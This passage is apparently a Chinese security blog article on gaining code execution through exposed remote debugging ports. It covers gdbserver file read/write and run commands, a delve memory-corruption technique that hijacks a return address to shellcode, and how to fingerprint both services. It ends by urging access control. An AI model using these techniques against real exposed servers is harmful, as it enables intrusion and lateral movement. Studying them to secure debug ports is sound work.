这样目标ip连过来的所有tcp连接就会转发到本地监听端口上,用nc监听这个指定的端口即可。
gdb对于开发者来讲(特别是c、c++等编译型语言)可能不陌生,而gdbserver则是gdb配套的远程调试工具,是RSP(Remote Serial Protocol)的一种实现。
gdb有两种远程调试的连接模式,分别为
target remote mode
和
target extended-remote mode
,这两种模式在调试进程结束后gdbserver的行为会有所不同,文档描述如下:
With target remote mode:
When the debugged program exits or you detach from it, GDB disconnects from the target. When using
gdbserver
,
gdbserver
will exit.
With target extended-remote mode:
When the debugged program exits or you detach from it, GDB remains connected to the target, even though no program is running. You can rerun the program, attach to a running program, or use
monitor
commands specific to the target.
When using
gdbserver
in this case, it does not exit unless it was invoked using the —once option. If the —once option was not used, you can ask
gdbserver
to exit using the
monitor exit
command (see
Monitor Commands for gdbserver
).
当extended-remote mode的时候,gdbserver在程序结束后或detach后不会停止运行,除非使用了—once选项。
gdbserver remote mode相关命令
比如Server端启动远程调试a.out,监听1234端口:
gdbserver 0.0.0.0:1234 a.out
Client运行gdb后用下面命令连接:
(gdb) target remote xxx.xxx.xxx.xxx:1234
gdbserver extended-remote mode相关命令
远程调试a.out,监听1234端口:
gdbserver --multi 0.0.0.0:1234 a.out
运行gdb后用下面命令连接:
# 即使gdbserver没有使用--multi选项,也可以这么连,这个可以强制让gdbserver进入extended-remote mode
(gdb) target extended-remote 127.0.0.1:1234
文档中没有说清楚(可能是我没看到)的是,即使gdbserver启动是remote mode,gdb连接上也可以开启extended-remote mode,这样gdbserver在进程结束之后依旧不会退出,这也就给实际利用提供了便利。
通过阅读文档发现gdb本身就提供了文件传输的功能,分别是下面三种命令:
remote put hostfile targetfile
remote get targetfile hostfile
remote delete targetfile
也就是说只要连上gdbserver端口,就可以任意读/写/删除服务器上的文件。
文件下载:
文件上传:
那么如何达到RCE目的呢?经过简单的分析,目前发现三种RCE方法。
gdb连接上之后可以修改内存,这时候加段shellcode进内存然后跳转执行
通过extended-remote mode支持的功能运行额外的程序
在有符号的情况下可以直接call system()
这里简单介绍第二种,在extended-remote的情况下,支持设置远程运行的文件,而且支持run命令,这个不就可以任意命令执行吗?
(gdb) set remote exec-file <path/to/executable>
(gdb) run <args>...
演示如下,can_u_see_me就是/tmp/pwn目录下的文件。
只是这种方式无法直接获取回显,不过获取回显的方式有很多种,比如程序是默认使用shell来运行的,支持重定向,所以可以将结果重定向到文件,然后再下载读取。
关于端口指纹识别,这里简要介绍通信用的RSP协议,该协议位于tcp协议之上,不论是客户端(gdb)还是服务端(gdbserver)在收到对方的包都会回复一个’+’字符。这个协议通信过程中用到的字符都是可打印字符,大概格式为 $
#
,这个checksum为content每个字符之和对于256的模,用python写的checksum函数如下:
def calc_checksum(s):
res = 0
for c in s:
res = (res + ord(c)) % 256
return res
通常gdb在和target服务端通信一开始的时候,都会将客户端支持的功能告诉服务端,而服务端也会返回所支持的功能。
客户端(gdb)发送(这里只描述content的格式):
qSupported [:gdbfeature [;gdbfeature]… ]
服务端(gdbserver)通过下面的格式告诉客户端它支持的feature:
stubfeature [;stubfeature]…
通过上面的这个命令就可以用来进行指纹检测,下面是一个通信的例子:
客户端发送:
+$qSupported:multiprocess+#c6
服务端响应:
+$PacketSize=3fff;QPassSignals+;QProgramSignals+;QStartupWithShell+;QEnvironmentHexEncoded+;QEnvironmentReset+;QEnvironmentUnset+;QSetWorkingDir+;QCatchSyscalls+;qXfer:libraries-svr4:read+....................
指纹检测就可以利用上面蕴含的模式(+$.*?#[0-9a-fA-F]{2}),还可以验证checksum是否正确,如果正确,那么大概率证明这是gdbserver使用的rsp协议。
delve是golang官方文档推荐的调试器,因为它比gdb对golang语言的支持更佳,这个也是本文利用起来较麻烦的一个调试器。
首先简单介绍一下delve的使用,
开启本地调试golang程序:
dlv debug test.go
开启远程调试golang程序:
dlv --listen=:2345 --headless=true --api-version=2 debug test.go
开启远程调试还可以设置多client连接模式,在这个模式下,多个client可以连接上来,并且在client断开连接时delve会继续运行:
dlv --accept-multiclient --listen=:2345 --headless=true --api-version=2 debug test.go
远程调试时使用下面命令连接到debug服务器:
dlv connect ip:port
非多client连接模式连一次delve就会退出,所以下面测试会以多client连接模式作为前提。
在寻找利用方式时,笔者还是优先考虑表达式执行,通过阅读文档,找到了执行表达式的
print
命令,但表达式支持的功能有限(
https://github.com/go-delve/delve/blob/master/Documentation/cli/expr.md
),没有找到可以利用的点,继续阅读文档发现还有一个
call
命令,这个命令可以调用当前程序导入的函数,比如程序导入了”os/exec”包,那么就可以call “os/exec”.Command来执行系统命令。
但是因为golang默认为静态编译,所以默认能调用的内置函数非常有限,如果程序没有编译进”os/exec”.Command这类命令执行的函数,那么想要通过表达式执行,调用内部函数来RCE就不会那么简单了。
首先假设程序使用了”os/exec”.Command,实例代码如下:
package main
import (
"os/exec"
"fmt"
"log"
)
func main() {
cmd := exec.Command("ls")
out, err := cmd.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
启动调试环境,远程连接上后,使用
funcs
命令来看下函数有哪些:
可以看到”os/exec”.Command被编译进去了,尝试call它,
失败了,查看help知道call只能在当前选择了goroutine的时候使用,这里可以理解成只有停留在go源码中才能使用,那么可以执行
b main.main
,然后
continue
,再次尝试调用命令:
(dlv) call "os/exec".Command("ls", "-al")
> main.main() ./go/exec.go:9 (hits goroutine(1):13 total:13) (PC: 0x4cd52b)
Command failed: can not convert "-al" constant to []string
还是失败,估计delve调用函数使用的是反射,而Command第二个参数是可变参数,因此反射里第二个参数需要是string slice,接着来尝试使用初始化string slice,
(dlv) call "os/exec".Command("ls", []string{"-al"})
> main.main() ./go/exec.go:9 (hits goroutine(1):14 total:14) (PC: 0x4cd52b)
Command failed: error evaluating "[]string{\"-al\"}" as argument arg in function os/exec.Command: expression *ast.CompositeLit not implemented
但delve支持有限,导致这种初始化不能使用,可以尝试寻找那些string slice的变量,将它作为第二个参数传进去。通过
vars
命令可以看包内的变量,这里我找到了
os.Args
这个string slice,它实际上就是程序的命令行参数。但是像下面这种函数串连起来调用容易遇到下面这种问题:
(dlv) call exec.Command("/bin/ls", os.Args).Run()
> main.main() ./go/exec.go:9 (hits goroutine(1):3 total:3) (PC: 0x4cd52b)
Command failed: call not at safe point
什么是safe point?可以看看这个issue:
https://github.com/go-delve/delve/issues/1590
,简单说就是程序在那里call命令造成的栈帧GC无法处理,所以delve不让调用。
不过可以分开执行函数,如果是上面给出的示例程序,可以等程序运行到定义了cmd变量那里停下来,然后调用:
结果
~r0
就是命令的结果:
那万一代码没有使用”os/exec”.Command这种危险的函数呢?笔者开始把视线转向内置的一些函数,通过查看
funcs
命令的结果,找到了一些有点意思的函数,最开始觉得比较可能有希望的应该是
syscall.Syscall
和
syscall.Syscall6
这两个,看名称似乎可以用来进行系统调用,但测试后发现没有那么简单,如果尝试调用这两个函数的话,会出现下面的情况:
(dlv) call syscall.Syscall(1)
> main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)
Command failed: too many arguments
(dlv) call syscall.Syscall6(1)
> main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)
Command failed: too many arguments
一个参数就报too many arguments?delve似乎对有些函数的原型无法正确识别,导致调用起来异常困难。
最后找到了两个函数:
reflect.memmove
和
syscall.mmap
是可以正常使用的,
reflect.memmove
相当于c语言中的
memmove
或者
memcpy
,
syscall.mmap
刚好可以用来分配rwx的内存。好了,现在的问题就转化成如何将shellcode写入内存中和利用类似memcpy的功能来实现执行shellcode。熟悉二进制安全的朋友都知道,这种类似任意写内存的功能已经无限接近于漏洞利用成功了。
另外分析发现
disassemble
命令会打印出内存里的字节,任意读内存也有了。
那么如何构造出任意写内存呢?首先了解一下slice在内存中的结构,它是像下面这种结构的(c语言表述,64位系统):
struct slice {
void* data;
int64_t len;
int64_t cap;
};
一开始的第一个字段指向一段内存,这段内存由连续的对象组成,比如是string的slice,那么就是一段连续的string对象,如果是数字,那就是一段连续的int之类的。第二个字段就是这个对象数组有多少元素,cap则就是说这个slice最大容量是多少了。
string在内存中的结构:
struct string {
char* data;
int64_t len;
};
设想一下,如果将uint32 slice的头8个字节覆盖成string slice的头8个字节,那么uint32 slice的data指针就将指向string slice里的string 结构体数组。
之后操作这个uint32 slice的数组内容就相当于在改写string slice中的string结构体,通过改写string结构体里的data指针,将string指向想要指向的地址,这样就可以覆盖string的内容,相当于任意内存写了。
因为可以对string进行赋值,所以将shellcode写入内存也可以办到:
(dlv) call syscall.envs[0] = "i am shellcode!"
> main.main() ./go/test.go:8 (hits goroutine(1):4 total:4) (PC: 0x4a23b8)
(dlv) p syscall.envs[0]
"i am shellcode!"
(dlv)
delve的表达式支持取地址操作,可以很方便地获知变量的地址,当然也包括了各种slice的:
(dlv) p &syscall.envs
(*[]string)(0x57ac90)
(dlv)
实际测试结果:
如图,将uint32 slice第一个字段覆盖为string slice的第一个字段后,strconv.isPrint32的内容发生了变化,实际上就是string结构体数组的内容,将第一个uint32加1,可以看到syscall.envs[0]的内容向后移动了一个字节。
因为可以将shellcode也复制到rwx的内存页中去,所以现在只需要找一个会被程序调用的指针,将这个指针改写成有shellcode内存页的地址即可。
这个指针的选择,笔者挑了最简单的一种,那就是函数的返回地址,当然可能存在其他的指针可以利用。当根据函数名下断点的时候,比如
b main.main
,程序触发这个断点时,刚好就停在该函数的第一个指令处,也就是说,此时的RSP指向返回地址,可以用
regs
命令来获得此刻的RSP的值。
然后通过上面构造的任意写,将某个string指向返回地址,然后利用比如
call syscall.envs[0][1] = 'a'
这样来改写它的字节,就能成功将返回地址改成shellcode的地址,最后只需要让函数运行至返回就会成功跳转到shellcode执行。
将以上的点整合起来,编写POC验证想法:
关于端口指纹检测,delve通信使用json-rpc进行TCP通讯,可以发送获取远程服务器信息的请求,根据返回进行判断。
客户端请求:
{"method":"RPCServer.State","params":[{"NonBlocking":true}],"id":2}
服务端响应:
{"id":2,"result":{"State":{"Running":false,"currentThread":{"id":13920,"pc":4899128,"file":"/home/goahead/Desktop/b.go","line":6,"function":{"name":"main.main"...........}
我们可以发现,相当多的调试工具都是支持执行表达式这种功能的,也就是说,它是一种设计而不是一个漏洞。所以,这些端口的暴露和被利用,更多应当归类于配置错误而不是本身存在漏洞。
远程调试端口暴露,风险非常大,在公网暴露,很可能被蠕虫攻击植入木马,在内网暴露,也可能会是黑客用来横向移动扩大权限的有效攻击手段,再次提醒开发人员务必做好访问控制,避免被黑客攻击。
文中涉及到的代码和技术细节,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。
最后感谢实习期间 neargle 师傅和 KINGX 师傅以及各位领导同事的帮助和指导。
https://blog.spoock.com/2019/04/20/jdwp-rce/
https://paper.seebug.org/397/
https://nodejs.org/zh-cn/docs/guides/debugging-getting-started/
https://pypi.org/project/rpdb/
https://github.com/ruby-debug/ruby-debug-ide
https://www.gnu.org/software/gdb/documentation/
https://github.com/go-delve/delve/blob/master/Documentation/cli/README.md